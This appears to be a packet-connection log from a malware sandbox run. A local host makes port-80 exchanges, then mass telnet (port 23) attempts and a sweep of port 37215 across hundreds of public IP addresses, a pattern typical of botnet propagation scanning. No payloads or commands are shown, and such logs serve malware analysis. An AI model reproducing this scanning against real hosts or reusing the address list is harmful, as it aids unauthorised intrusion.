Dec 3, 2024 23:16:47.263981104 CET	80	35072	177.225.31.244	192.168.2.23
Dec 3, 2024 23:16:47.264230967 CET	80	35146	177.225.31.244	192.168.2.23
Dec 3, 2024 23:16:47.264273882 CET	35146	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.264292955 CET	35146	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.264688969 CET	80	56698	193.187.119.1	192.168.2.23
Dec 3, 2024 23:16:47.264903069 CET	80	56772	193.187.119.1	192.168.2.23
Dec 3, 2024 23:16:47.264939070 CET	56772	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.264966011 CET	56772	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.265396118 CET	80	55066	176.205.213.17	192.168.2.23
Dec 3, 2024 23:16:47.265672922 CET	80	55140	176.205.213.17	192.168.2.23
Dec 3, 2024 23:16:47.265718937 CET	55140	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.265744925 CET	55140	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.266066074 CET	80	46556	136.180.192.64	192.168.2.23
Dec 3, 2024 23:16:47.266443968 CET	80	46630	136.180.192.64	192.168.2.23
Dec 3, 2024 23:16:47.266484022 CET	46630	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.266515017 CET	46630	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.266859055 CET	80	33716	219.25.117.201	192.168.2.23
Dec 3, 2024 23:16:47.267097950 CET	80	33790	219.25.117.201	192.168.2.23
Dec 3, 2024 23:16:47.267137051 CET	33790	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.267162085 CET	33790	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.267561913 CET	80	52678	83.51.41.144	192.168.2.23
Dec 3, 2024 23:16:47.267853022 CET	80	52752	83.51.41.144	192.168.2.23
Dec 3, 2024 23:16:47.267890930 CET	52752	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.267915964 CET	52752	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.268208981 CET	80	60554	146.197.93.177	192.168.2.23
Dec 3, 2024 23:16:47.268578053 CET	80	60628	146.197.93.177	192.168.2.23
Dec 3, 2024 23:16:47.268618107 CET	60628	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.268645048 CET	60628	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.268902063 CET	80	40288	103.214.187.227	192.168.2.23
Dec 3, 2024 23:16:47.269222021 CET	80	40362	103.214.187.227	192.168.2.23
Dec 3, 2024 23:16:47.269259930 CET	40362	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.269290924 CET	40362	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.269706964 CET	80	42634	159.198.67.110	192.168.2.23
Dec 3, 2024 23:16:47.269952059 CET	80	42708	159.198.67.110	192.168.2.23
Dec 3, 2024 23:16:47.269988060 CET	42708	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.270010948 CET	42708	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.270386934 CET	80	46746	175.217.230.70	192.168.2.23
Dec 3, 2024 23:16:47.270664930 CET	80	46820	175.217.230.70	192.168.2.23
Dec 3, 2024 23:16:47.270705938 CET	46820	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.270730019 CET	46820	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.271104097 CET	80	47196	161.47.72.130	192.168.2.23
Dec 3, 2024 23:16:47.279362917 CET	80	55712	146.160.159.128	192.168.2.23
Dec 3, 2024 23:16:47.279493093 CET	80	55756	146.160.159.128	192.168.2.23
Dec 3, 2024 23:16:47.279531956 CET	55756	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.279558897 CET	55756	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.303926945 CET	80	41164	180.109.221.172	192.168.2.23
Dec 3, 2024 23:16:47.307941914 CET	80	52678	83.51.41.144	192.168.2.23
Dec 3, 2024 23:16:47.307986021 CET	80	33716	219.25.117.201	192.168.2.23
Dec 3, 2024 23:16:47.307995081 CET	80	46556	136.180.192.64	192.168.2.23
Dec 3, 2024 23:16:47.311960936 CET	80	55066	176.205.213.17	192.168.2.23
Dec 3, 2024 23:16:47.311970949 CET	80	56698	193.187.119.1	192.168.2.23
Dec 3, 2024 23:16:47.312016964 CET	80	35072	177.225.31.244	192.168.2.23
Dec 3, 2024 23:16:47.312026978 CET	80	47196	161.47.72.130	192.168.2.23
Dec 3, 2024 23:16:47.312030077 CET	80	46746	175.217.230.70	192.168.2.23
Dec 3, 2024 23:16:47.312072992 CET	80	42634	159.198.67.110	192.168.2.23
Dec 3, 2024 23:16:47.312081099 CET	80	40288	103.214.187.227	192.168.2.23
Dec 3, 2024 23:16:47.315943003 CET	80	60554	146.197.93.177	192.168.2.23
Dec 3, 2024 23:16:47.319905043 CET	80	55712	146.160.159.128	192.168.2.23
Dec 3, 2024 23:16:47.388093948 CET	80	41238	180.109.221.172	192.168.2.23
Dec 3, 2024 23:16:47.388274908 CET	80	41238	180.109.221.172	192.168.2.23
Dec 3, 2024 23:16:47.388412952 CET	41238	80	192.168.2.23	180.109.221.172
Dec 3, 2024 23:16:47.388977051 CET	80	35146	177.225.31.244	192.168.2.23
Dec 3, 2024 23:16:47.389024973 CET	35146	80	192.168.2.23	177.225.31.244
Dec 3, 2024 23:16:47.389168978 CET	80	56772	193.187.119.1	192.168.2.23
Dec 3, 2024 23:16:47.389209986 CET	56772	80	192.168.2.23	193.187.119.1
Dec 3, 2024 23:16:47.389939070 CET	80	55140	176.205.213.17	192.168.2.23
Dec 3, 2024 23:16:47.389985085 CET	55140	80	192.168.2.23	176.205.213.17
Dec 3, 2024 23:16:47.390532970 CET	80	46630	136.180.192.64	192.168.2.23
Dec 3, 2024 23:16:47.390575886 CET	46630	80	192.168.2.23	136.180.192.64
Dec 3, 2024 23:16:47.391288996 CET	80	33790	219.25.117.201	192.168.2.23
Dec 3, 2024 23:16:47.391326904 CET	33790	80	192.168.2.23	219.25.117.201
Dec 3, 2024 23:16:47.392247915 CET	80	52752	83.51.41.144	192.168.2.23
Dec 3, 2024 23:16:47.392288923 CET	52752	80	192.168.2.23	83.51.41.144
Dec 3, 2024 23:16:47.393028975 CET	80	60628	146.197.93.177	192.168.2.23
Dec 3, 2024 23:16:47.393078089 CET	60628	80	192.168.2.23	146.197.93.177
Dec 3, 2024 23:16:47.393564939 CET	80	40362	103.214.187.227	192.168.2.23
Dec 3, 2024 23:16:47.393608093 CET	40362	80	192.168.2.23	103.214.187.227
Dec 3, 2024 23:16:47.394391060 CET	80	42708	159.198.67.110	192.168.2.23
Dec 3, 2024 23:16:47.394431114 CET	42708	80	192.168.2.23	159.198.67.110
Dec 3, 2024 23:16:47.395049095 CET	80	46820	175.217.230.70	192.168.2.23
Dec 3, 2024 23:16:47.395093918 CET	46820	80	192.168.2.23	175.217.230.70
Dec 3, 2024 23:16:47.399508953 CET	50654	23	192.168.2.23	139.93.230.251
Dec 3, 2024 23:16:47.399518967 CET	34278	23	192.168.2.23	96.132.61.120
Dec 3, 2024 23:16:47.399519920 CET	44640	23	192.168.2.23	222.27.70.73
Dec 3, 2024 23:16:47.399518967 CET	50398	23	192.168.2.23	212.97.1.50
Dec 3, 2024 23:16:47.399518967 CET	40486	23	192.168.2.23	137.187.187.101
Dec 3, 2024 23:16:47.399523020 CET	54726	23	192.168.2.23	85.59.140.30
Dec 3, 2024 23:16:47.399528027 CET	33814	23	192.168.2.23	187.125.11.78
Dec 3, 2024 23:16:47.399532080 CET	52270	23	192.168.2.23	126.183.65.170
Dec 3, 2024 23:16:47.399533033 CET	56904	23	192.168.2.23	59.255.82.49
Dec 3, 2024 23:16:47.399533033 CET	42348	23	192.168.2.23	143.212.155.26
Dec 3, 2024 23:16:47.399535894 CET	51248	23	192.168.2.23	59.129.94.109
Dec 3, 2024 23:16:47.399537086 CET	59138	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:47.399537086 CET	58352	23	192.168.2.23	139.93.186.145
Dec 3, 2024 23:16:47.399537086 CET	32862	23	192.168.2.23	151.216.105.82
Dec 3, 2024 23:16:47.399544001 CET	45326	23	192.168.2.23	23.102.73.106
Dec 3, 2024 23:16:47.399548054 CET	43932	23	192.168.2.23	210.13.5.108
Dec 3, 2024 23:16:47.399548054 CET	44514	23	192.168.2.23	35.148.186.19
Dec 3, 2024 23:16:47.399557114 CET	37468	23	192.168.2.23	213.69.162.227
Dec 3, 2024 23:16:47.399563074 CET	49208	23	192.168.2.23	86.223.218.242
Dec 3, 2024 23:16:47.399564028 CET	55836	23	192.168.2.23	173.31.209.207
Dec 3, 2024 23:16:47.403074980 CET	40597	37215	192.168.2.23	197.184.110.72
Dec 3, 2024 23:16:47.403084040 CET	40597	37215	192.168.2.23	197.25.172.124
Dec 3, 2024 23:16:47.403084040 CET	40597	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:47.403085947 CET	40597	37215	192.168.2.23	197.57.240.239
Dec 3, 2024 23:16:47.403091908 CET	40597	37215	192.168.2.23	41.53.8.39
Dec 3, 2024 23:16:47.403094053 CET	40597	37215	192.168.2.23	41.68.155.210
Dec 3, 2024 23:16:47.403103113 CET	40597	37215	192.168.2.23	197.215.117.244
Dec 3, 2024 23:16:47.403115034 CET	40597	37215	192.168.2.23	156.218.7.176
Dec 3, 2024 23:16:47.403115988 CET	40597	37215	192.168.2.23	197.139.66.129
Dec 3, 2024 23:16:47.403119087 CET	40597	37215	192.168.2.23	156.10.142.76
Dec 3, 2024 23:16:47.403126001 CET	40597	37215	192.168.2.23	156.117.177.214
Dec 3, 2024 23:16:47.403131962 CET	40597	37215	192.168.2.23	41.67.191.46
Dec 3, 2024 23:16:47.403142929 CET	40597	37215	192.168.2.23	156.90.44.202
Dec 3, 2024 23:16:47.403150082 CET	40597	37215	192.168.2.23	156.40.125.0
Dec 3, 2024 23:16:47.403151035 CET	40597	37215	192.168.2.23	156.160.59.88
Dec 3, 2024 23:16:47.403161049 CET	40597	37215	192.168.2.23	197.217.227.191
Dec 3, 2024 23:16:47.403166056 CET	40597	37215	192.168.2.23	156.168.80.171
Dec 3, 2024 23:16:47.403170109 CET	40597	37215	192.168.2.23	41.216.122.24
Dec 3, 2024 23:16:47.403172016 CET	40597	37215	192.168.2.23	197.116.173.247
Dec 3, 2024 23:16:47.403173923 CET	40597	37215	192.168.2.23	41.149.85.230
Dec 3, 2024 23:16:47.403191090 CET	40597	37215	192.168.2.23	41.10.196.132
Dec 3, 2024 23:16:47.403191090 CET	40597	37215	192.168.2.23	156.134.10.23
Dec 3, 2024 23:16:47.403191090 CET	40597	37215	192.168.2.23	197.147.35.49
Dec 3, 2024 23:16:47.403192997 CET	40597	37215	192.168.2.23	197.36.90.248
Dec 3, 2024 23:16:47.403207064 CET	40597	37215	192.168.2.23	156.201.246.141
Dec 3, 2024 23:16:47.403208017 CET	40597	37215	192.168.2.23	156.67.235.182
Dec 3, 2024 23:16:47.403218031 CET	40597	37215	192.168.2.23	197.97.52.225
Dec 3, 2024 23:16:47.403228045 CET	40597	37215	192.168.2.23	197.3.174.200
Dec 3, 2024 23:16:47.403228998 CET	40597	37215	192.168.2.23	156.253.77.182
Dec 3, 2024 23:16:47.403239965 CET	40597	37215	192.168.2.23	41.86.160.3
Dec 3, 2024 23:16:47.403240919 CET	40597	37215	192.168.2.23	41.61.151.34
Dec 3, 2024 23:16:47.403249025 CET	40597	37215	192.168.2.23	197.229.102.57
Dec 3, 2024 23:16:47.403255939 CET	40597	37215	192.168.2.23	197.129.139.142
Dec 3, 2024 23:16:47.403268099 CET	40597	37215	192.168.2.23	156.17.181.23
Dec 3, 2024 23:16:47.403270960 CET	40597	37215	192.168.2.23	156.180.111.46
Dec 3, 2024 23:16:47.403275013 CET	40597	37215	192.168.2.23	41.140.168.246
Dec 3, 2024 23:16:47.403291941 CET	40597	37215	192.168.2.23	41.17.126.226
Dec 3, 2024 23:16:47.403295040 CET	40597	37215	192.168.2.23	197.27.123.107
Dec 3, 2024 23:16:47.403295040 CET	40597	37215	192.168.2.23	156.91.119.93
Dec 3, 2024 23:16:47.403295040 CET	40597	37215	192.168.2.23	41.106.25.34
Dec 3, 2024 23:16:47.403320074 CET	40597	37215	192.168.2.23	156.28.72.8
Dec 3, 2024 23:16:47.403320074 CET	40597	37215	192.168.2.23	197.78.145.9
Dec 3, 2024 23:16:47.403321981 CET	40597	37215	192.168.2.23	197.74.186.43
Dec 3, 2024 23:16:47.403321981 CET	40597	37215	192.168.2.23	197.132.193.28
Dec 3, 2024 23:16:47.403331995 CET	40597	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:47.403331995 CET	40597	37215	192.168.2.23	197.241.87.74
Dec 3, 2024 23:16:47.403331995 CET	40597	37215	192.168.2.23	197.19.75.227
Dec 3, 2024 23:16:47.403331995 CET	40597	37215	192.168.2.23	197.65.70.190
Dec 3, 2024 23:16:47.403338909 CET	40597	37215	192.168.2.23	197.119.255.0
Dec 3, 2024 23:16:47.403352022 CET	40597	37215	192.168.2.23	156.158.27.142
Dec 3, 2024 23:16:47.403359890 CET	40597	37215	192.168.2.23	197.242.75.112
Dec 3, 2024 23:16:47.403359890 CET	40597	37215	192.168.2.23	41.156.179.6
Dec 3, 2024 23:16:47.403359890 CET	40597	37215	192.168.2.23	41.161.19.116
Dec 3, 2024 23:16:47.403378010 CET	40597	37215	192.168.2.23	41.228.189.248
Dec 3, 2024 23:16:47.403383017 CET	40597	37215	192.168.2.23	156.81.50.47
Dec 3, 2024 23:16:47.403386116 CET	40597	37215	192.168.2.23	156.202.144.174
Dec 3, 2024 23:16:47.403393984 CET	40597	37215	192.168.2.23	41.122.205.241
Dec 3, 2024 23:16:47.403409958 CET	40597	37215	192.168.2.23	197.39.226.174
Dec 3, 2024 23:16:47.403418064 CET	40597	37215	192.168.2.23	41.76.42.109
Dec 3, 2024 23:16:47.403428078 CET	40597	37215	192.168.2.23	156.36.118.231
Dec 3, 2024 23:16:47.403430939 CET	40597	37215	192.168.2.23	41.69.190.172
Dec 3, 2024 23:16:47.403434992 CET	40597	37215	192.168.2.23	197.26.182.203
Dec 3, 2024 23:16:47.403434992 CET	40597	37215	192.168.2.23	197.74.116.180
Dec 3, 2024 23:16:47.403438091 CET	40597	37215	192.168.2.23	41.97.31.200
Dec 3, 2024 23:16:47.403438091 CET	40597	37215	192.168.2.23	41.153.9.207
Dec 3, 2024 23:16:47.403441906 CET	40597	37215	192.168.2.23	197.179.18.229
Dec 3, 2024 23:16:47.403444052 CET	40597	37215	192.168.2.23	197.76.37.243
Dec 3, 2024 23:16:47.403451920 CET	40597	37215	192.168.2.23	156.40.23.178
Dec 3, 2024 23:16:47.403465033 CET	40597	37215	192.168.2.23	197.22.23.7
Dec 3, 2024 23:16:47.403465986 CET	40597	37215	192.168.2.23	156.143.195.142
Dec 3, 2024 23:16:47.403469086 CET	40597	37215	192.168.2.23	41.146.175.21
Dec 3, 2024 23:16:47.403469086 CET	40597	37215	192.168.2.23	156.113.110.203
Dec 3, 2024 23:16:47.403471947 CET	40597	37215	192.168.2.23	156.146.191.51
Dec 3, 2024 23:16:47.403475046 CET	40597	37215	192.168.2.23	197.4.97.92
Dec 3, 2024 23:16:47.403503895 CET	40597	37215	192.168.2.23	197.188.93.132
Dec 3, 2024 23:16:47.403506994 CET	40597	37215	192.168.2.23	197.153.144.212
Dec 3, 2024 23:16:47.403510094 CET	40597	37215	192.168.2.23	156.84.93.28
Dec 3, 2024 23:16:47.403518915 CET	40597	37215	192.168.2.23	197.99.113.231
Dec 3, 2024 23:16:47.403528929 CET	40597	37215	192.168.2.23	156.13.25.35
Dec 3, 2024 23:16:47.403528929 CET	40597	37215	192.168.2.23	197.174.112.116
Dec 3, 2024 23:16:47.403537035 CET	40597	37215	192.168.2.23	41.110.166.81
Dec 3, 2024 23:16:47.403537035 CET	40597	37215	192.168.2.23	41.99.44.33
Dec 3, 2024 23:16:47.403538942 CET	40597	37215	192.168.2.23	156.132.84.14
Dec 3, 2024 23:16:47.403541088 CET	40597	37215	192.168.2.23	41.239.252.86
Dec 3, 2024 23:16:47.403558016 CET	40597	37215	192.168.2.23	197.241.201.88
Dec 3, 2024 23:16:47.403558016 CET	40597	37215	192.168.2.23	156.93.126.2
Dec 3, 2024 23:16:47.403558016 CET	40597	37215	192.168.2.23	41.38.167.23
Dec 3, 2024 23:16:47.403562069 CET	40597	37215	192.168.2.23	41.206.160.131
Dec 3, 2024 23:16:47.403563976 CET	40597	37215	192.168.2.23	156.60.102.66
Dec 3, 2024 23:16:47.403580904 CET	40597	37215	192.168.2.23	41.104.10.87
Dec 3, 2024 23:16:47.403584003 CET	40597	37215	192.168.2.23	41.5.197.171
Dec 3, 2024 23:16:47.403589964 CET	40597	37215	192.168.2.23	197.207.113.106
Dec 3, 2024 23:16:47.403590918 CET	40597	37215	192.168.2.23	156.159.0.61
Dec 3, 2024 23:16:47.403590918 CET	40597	37215	192.168.2.23	41.68.234.36
Dec 3, 2024 23:16:47.403593063 CET	40597	37215	192.168.2.23	156.243.246.48
Dec 3, 2024 23:16:47.403606892 CET	40597	37215	192.168.2.23	197.193.173.24
Dec 3, 2024 23:16:47.403615952 CET	40597	37215	192.168.2.23	197.173.198.92
Dec 3, 2024 23:16:47.403624058 CET	40597	37215	192.168.2.23	156.15.33.89
Dec 3, 2024 23:16:47.403631926 CET	40597	37215	192.168.2.23	41.148.65.172
Dec 3, 2024 23:16:47.403631926 CET	40597	37215	192.168.2.23	41.233.250.231
Dec 3, 2024 23:16:47.403639078 CET	40597	37215	192.168.2.23	156.19.44.94
Dec 3, 2024 23:16:47.403645992 CET	40597	37215	192.168.2.23	156.200.241.84
Dec 3, 2024 23:16:47.403661013 CET	40597	37215	192.168.2.23	156.122.122.23
Dec 3, 2024 23:16:47.403669119 CET	40597	37215	192.168.2.23	156.111.144.47
Dec 3, 2024 23:16:47.403669119 CET	40597	37215	192.168.2.23	41.246.145.220
Dec 3, 2024 23:16:47.403672934 CET	40597	37215	192.168.2.23	197.243.174.20
Dec 3, 2024 23:16:47.403672934 CET	40597	37215	192.168.2.23	41.174.175.122
Dec 3, 2024 23:16:47.403688908 CET	40597	37215	192.168.2.23	41.134.198.222
Dec 3, 2024 23:16:47.403692007 CET	40597	37215	192.168.2.23	197.169.132.20
Dec 3, 2024 23:16:47.403692961 CET	40597	37215	192.168.2.23	41.117.106.217
Dec 3, 2024 23:16:47.403702021 CET	40597	37215	192.168.2.23	197.51.115.32
Dec 3, 2024 23:16:47.403702021 CET	40597	37215	192.168.2.23	156.62.221.72
Dec 3, 2024 23:16:47.403702021 CET	40597	37215	192.168.2.23	41.189.45.86
Dec 3, 2024 23:16:47.403703928 CET	40597	37215	192.168.2.23	41.159.89.75
Dec 3, 2024 23:16:47.403717041 CET	40597	37215	192.168.2.23	156.77.134.247
Dec 3, 2024 23:16:47.403719902 CET	40597	37215	192.168.2.23	41.184.9.163
Dec 3, 2024 23:16:47.403728008 CET	40597	37215	192.168.2.23	156.146.246.138
Dec 3, 2024 23:16:47.403739929 CET	40597	37215	192.168.2.23	156.22.255.93
Dec 3, 2024 23:16:47.403745890 CET	40597	37215	192.168.2.23	156.70.153.229
Dec 3, 2024 23:16:47.403758049 CET	40597	37215	192.168.2.23	197.159.11.250
Dec 3, 2024 23:16:47.403760910 CET	40597	37215	192.168.2.23	197.3.213.29
Dec 3, 2024 23:16:47.403764963 CET	40597	37215	192.168.2.23	197.193.38.7
Dec 3, 2024 23:16:47.403775930 CET	40597	37215	192.168.2.23	197.100.7.127
Dec 3, 2024 23:16:47.403785944 CET	40597	37215	192.168.2.23	41.87.145.250
Dec 3, 2024 23:16:47.403788090 CET	40597	37215	192.168.2.23	197.224.104.9
Dec 3, 2024 23:16:47.403788090 CET	40597	37215	192.168.2.23	197.205.68.194
Dec 3, 2024 23:16:47.403788090 CET	40597	37215	192.168.2.23	156.178.175.182
Dec 3, 2024 23:16:47.403790951 CET	40597	37215	192.168.2.23	156.116.141.17
Dec 3, 2024 23:16:47.403793097 CET	40597	37215	192.168.2.23	41.224.237.159
Dec 3, 2024 23:16:47.403800011 CET	40597	37215	192.168.2.23	197.126.41.110
Dec 3, 2024 23:16:47.403801918 CET	40597	37215	192.168.2.23	156.42.117.155
Dec 3, 2024 23:16:47.403801918 CET	40597	37215	192.168.2.23	197.126.221.144
Dec 3, 2024 23:16:47.403805971 CET	40597	37215	192.168.2.23	41.106.237.92
Dec 3, 2024 23:16:47.403810024 CET	40597	37215	192.168.2.23	41.154.130.231
Dec 3, 2024 23:16:47.403827906 CET	40597	37215	192.168.2.23	156.99.192.74
Dec 3, 2024 23:16:47.403830051 CET	40597	37215	192.168.2.23	41.26.64.52
Dec 3, 2024 23:16:47.403844118 CET	40597	37215	192.168.2.23	41.247.53.201
Dec 3, 2024 23:16:47.403844118 CET	40597	37215	192.168.2.23	41.10.234.18
Dec 3, 2024 23:16:47.403855085 CET	40597	37215	192.168.2.23	41.56.102.247
Dec 3, 2024 23:16:47.403862953 CET	40597	37215	192.168.2.23	41.62.244.64
Dec 3, 2024 23:16:47.403863907 CET	40597	37215	192.168.2.23	156.190.254.236
Dec 3, 2024 23:16:47.403867006 CET	40597	37215	192.168.2.23	197.196.230.192
Dec 3, 2024 23:16:47.403867006 CET	40597	37215	192.168.2.23	197.44.51.39
Dec 3, 2024 23:16:47.403870106 CET	40597	37215	192.168.2.23	197.217.156.156
Dec 3, 2024 23:16:47.403878927 CET	40597	37215	192.168.2.23	197.137.182.69
Dec 3, 2024 23:16:47.403892994 CET	40597	37215	192.168.2.23	41.72.121.116
Dec 3, 2024 23:16:47.403892994 CET	40597	37215	192.168.2.23	41.236.158.236
Dec 3, 2024 23:16:47.403893948 CET	40597	37215	192.168.2.23	41.59.4.162
Dec 3, 2024 23:16:47.403894901 CET	40597	37215	192.168.2.23	197.145.227.47
Dec 3, 2024 23:16:47.403898954 CET	40597	37215	192.168.2.23	197.132.148.99
Dec 3, 2024 23:16:47.403902054 CET	40597	37215	192.168.2.23	156.12.85.236
Dec 3, 2024 23:16:47.403903008 CET	40597	37215	192.168.2.23	197.61.172.247
Dec 3, 2024 23:16:47.403918982 CET	40597	37215	192.168.2.23	156.218.171.79
Dec 3, 2024 23:16:47.403920889 CET	80	55756	146.160.159.128	192.168.2.23
Dec 3, 2024 23:16:47.403923988 CET	40597	37215	192.168.2.23	41.33.105.0
Dec 3, 2024 23:16:47.403928995 CET	40597	37215	192.168.2.23	197.183.158.200
Dec 3, 2024 23:16:47.403928995 CET	40597	37215	192.168.2.23	41.34.62.136
Dec 3, 2024 23:16:47.403943062 CET	40597	37215	192.168.2.23	197.67.29.164
Dec 3, 2024 23:16:47.403948069 CET	40597	37215	192.168.2.23	197.170.53.193
Dec 3, 2024 23:16:47.403960943 CET	40597	37215	192.168.2.23	197.160.25.128
Dec 3, 2024 23:16:47.403973103 CET	40597	37215	192.168.2.23	41.28.200.27
Dec 3, 2024 23:16:47.403974056 CET	40597	37215	192.168.2.23	197.249.250.15
Dec 3, 2024 23:16:47.403974056 CET	40597	37215	192.168.2.23	41.57.20.146
Dec 3, 2024 23:16:47.403984070 CET	40597	37215	192.168.2.23	197.158.90.202
Dec 3, 2024 23:16:47.403984070 CET	40597	37215	192.168.2.23	156.170.84.116
Dec 3, 2024 23:16:47.403985977 CET	40597	37215	192.168.2.23	156.99.189.45
Dec 3, 2024 23:16:47.403985977 CET	40597	37215	192.168.2.23	197.57.46.81
Dec 3, 2024 23:16:47.403991938 CET	40597	37215	192.168.2.23	197.233.13.198
Dec 3, 2024 23:16:47.403991938 CET	40597	37215	192.168.2.23	156.141.194.246
Dec 3, 2024 23:16:47.403997898 CET	40597	37215	192.168.2.23	41.173.65.94
Dec 3, 2024 23:16:47.403997898 CET	40597	37215	192.168.2.23	156.189.142.187
Dec 3, 2024 23:16:47.404006958 CET	40597	37215	192.168.2.23	156.143.164.223
Dec 3, 2024 23:16:47.404012918 CET	40597	37215	192.168.2.23	156.36.84.76
Dec 3, 2024 23:16:47.404038906 CET	40597	37215	192.168.2.23	41.221.126.244
Dec 3, 2024 23:16:47.404040098 CET	40597	37215	192.168.2.23	197.200.28.13
Dec 3, 2024 23:16:47.404041052 CET	40597	37215	192.168.2.23	41.135.204.2
Dec 3, 2024 23:16:47.404052019 CET	40597	37215	192.168.2.23	197.208.193.81
Dec 3, 2024 23:16:47.404052019 CET	40597	37215	192.168.2.23	197.158.55.179
Dec 3, 2024 23:16:47.404052019 CET	40597	37215	192.168.2.23	197.167.203.133
Dec 3, 2024 23:16:47.404052019 CET	40597	37215	192.168.2.23	41.218.101.201
Dec 3, 2024 23:16:47.404052019 CET	40597	37215	192.168.2.23	41.6.20.1
Dec 3, 2024 23:16:47.404053926 CET	40597	37215	192.168.2.23	197.14.115.64
Dec 3, 2024 23:16:47.404053926 CET	40597	37215	192.168.2.23	156.29.52.131
Dec 3, 2024 23:16:47.404057026 CET	40597	37215	192.168.2.23	197.190.79.82
Dec 3, 2024 23:16:47.404057026 CET	40597	37215	192.168.2.23	41.93.34.22
Dec 3, 2024 23:16:47.404067993 CET	40597	37215	192.168.2.23	156.58.89.82
Dec 3, 2024 23:16:47.404073000 CET	40597	37215	192.168.2.23	156.45.248.113
Dec 3, 2024 23:16:47.404073000 CET	40597	37215	192.168.2.23	156.101.44.184
Dec 3, 2024 23:16:47.404073954 CET	40597	37215	192.168.2.23	41.81.87.120
Dec 3, 2024 23:16:47.404073954 CET	40597	37215	192.168.2.23	156.97.158.2
Dec 3, 2024 23:16:47.404074907 CET	40597	37215	192.168.2.23	197.227.38.127
Dec 3, 2024 23:16:47.404074907 CET	40597	37215	192.168.2.23	41.155.146.213
Dec 3, 2024 23:16:47.404078007 CET	40597	37215	192.168.2.23	197.186.212.225
Dec 3, 2024 23:16:47.404078007 CET	40597	37215	192.168.2.23	156.3.226.119
Dec 3, 2024 23:16:47.404078007 CET	40597	37215	192.168.2.23	41.222.100.168
Dec 3, 2024 23:16:47.404078007 CET	40597	37215	192.168.2.23	41.254.54.189
Dec 3, 2024 23:16:47.404083967 CET	40597	37215	192.168.2.23	197.240.163.33
Dec 3, 2024 23:16:47.404084921 CET	40597	37215	192.168.2.23	197.44.91.167
Dec 3, 2024 23:16:47.404084921 CET	40597	37215	192.168.2.23	41.172.224.69
Dec 3, 2024 23:16:47.404089928 CET	40597	37215	192.168.2.23	197.156.245.192
Dec 3, 2024 23:16:47.404097080 CET	40597	37215	192.168.2.23	156.130.164.157
Dec 3, 2024 23:16:47.404097080 CET	40597	37215	192.168.2.23	41.15.217.207
Dec 3, 2024 23:16:47.404098988 CET	40597	37215	192.168.2.23	41.209.209.33
Dec 3, 2024 23:16:47.404099941 CET	40597	37215	192.168.2.23	41.148.239.84
Dec 3, 2024 23:16:47.404113054 CET	40597	37215	192.168.2.23	41.105.161.113
Dec 3, 2024 23:16:47.404119015 CET	40597	37215	192.168.2.23	41.3.113.74
Dec 3, 2024 23:16:47.404119968 CET	40597	37215	192.168.2.23	197.168.231.33
Dec 3, 2024 23:16:47.404119968 CET	40597	37215	192.168.2.23	41.60.40.7
Dec 3, 2024 23:16:47.404129028 CET	40597	37215	192.168.2.23	156.51.236.218
Dec 3, 2024 23:16:47.404129028 CET	40597	37215	192.168.2.23	41.53.45.107
Dec 3, 2024 23:16:47.404141903 CET	40597	37215	192.168.2.23	41.218.175.112
Dec 3, 2024 23:16:47.404145002 CET	40597	37215	192.168.2.23	41.182.26.160
Dec 3, 2024 23:16:47.404145002 CET	40597	37215	192.168.2.23	156.17.166.68
Dec 3, 2024 23:16:47.404145002 CET	80	55756	146.160.159.128	192.168.2.23
Dec 3, 2024 23:16:47.404155970 CET	40597	37215	192.168.2.23	41.9.52.128
Dec 3, 2024 23:16:47.404159069 CET	40597	37215	192.168.2.23	156.68.180.98
Dec 3, 2024 23:16:47.404167891 CET	40597	37215	192.168.2.23	41.129.160.93
Dec 3, 2024 23:16:47.404174089 CET	55756	80	192.168.2.23	146.160.159.128
Dec 3, 2024 23:16:47.404181957 CET	40597	37215	192.168.2.23	41.6.221.224
Dec 3, 2024 23:16:47.404198885 CET	40597	37215	192.168.2.23	197.222.52.105
Dec 3, 2024 23:16:47.404198885 CET	40597	37215	192.168.2.23	197.196.48.156
Dec 3, 2024 23:16:47.404198885 CET	40597	37215	192.168.2.23	41.241.202.245
Dec 3, 2024 23:16:47.404201031 CET	40597	37215	192.168.2.23	197.121.177.172
Dec 3, 2024 23:16:47.404201031 CET	40597	37215	192.168.2.23	156.203.67.210
Dec 3, 2024 23:16:47.404211044 CET	40597	37215	192.168.2.23	197.155.74.122
Dec 3, 2024 23:16:47.404228926 CET	40597	37215	192.168.2.23	197.233.29.245
Dec 3, 2024 23:16:47.404230118 CET	40597	37215	192.168.2.23	41.198.93.67
Dec 3, 2024 23:16:47.404232025 CET	40597	37215	192.168.2.23	197.240.199.37
Dec 3, 2024 23:16:47.404234886 CET	40597	37215	192.168.2.23	156.126.212.200
Dec 3, 2024 23:16:47.404237032 CET	40597	37215	192.168.2.23	197.143.36.189
Dec 3, 2024 23:16:47.404252052 CET	40597	37215	192.168.2.23	41.193.157.113
Dec 3, 2024 23:16:47.404254913 CET	40597	37215	192.168.2.23	197.238.119.16
Dec 3, 2024 23:16:47.404258013 CET	40597	37215	192.168.2.23	156.31.177.174
Dec 3, 2024 23:16:47.404263973 CET	40597	37215	192.168.2.23	197.137.118.231
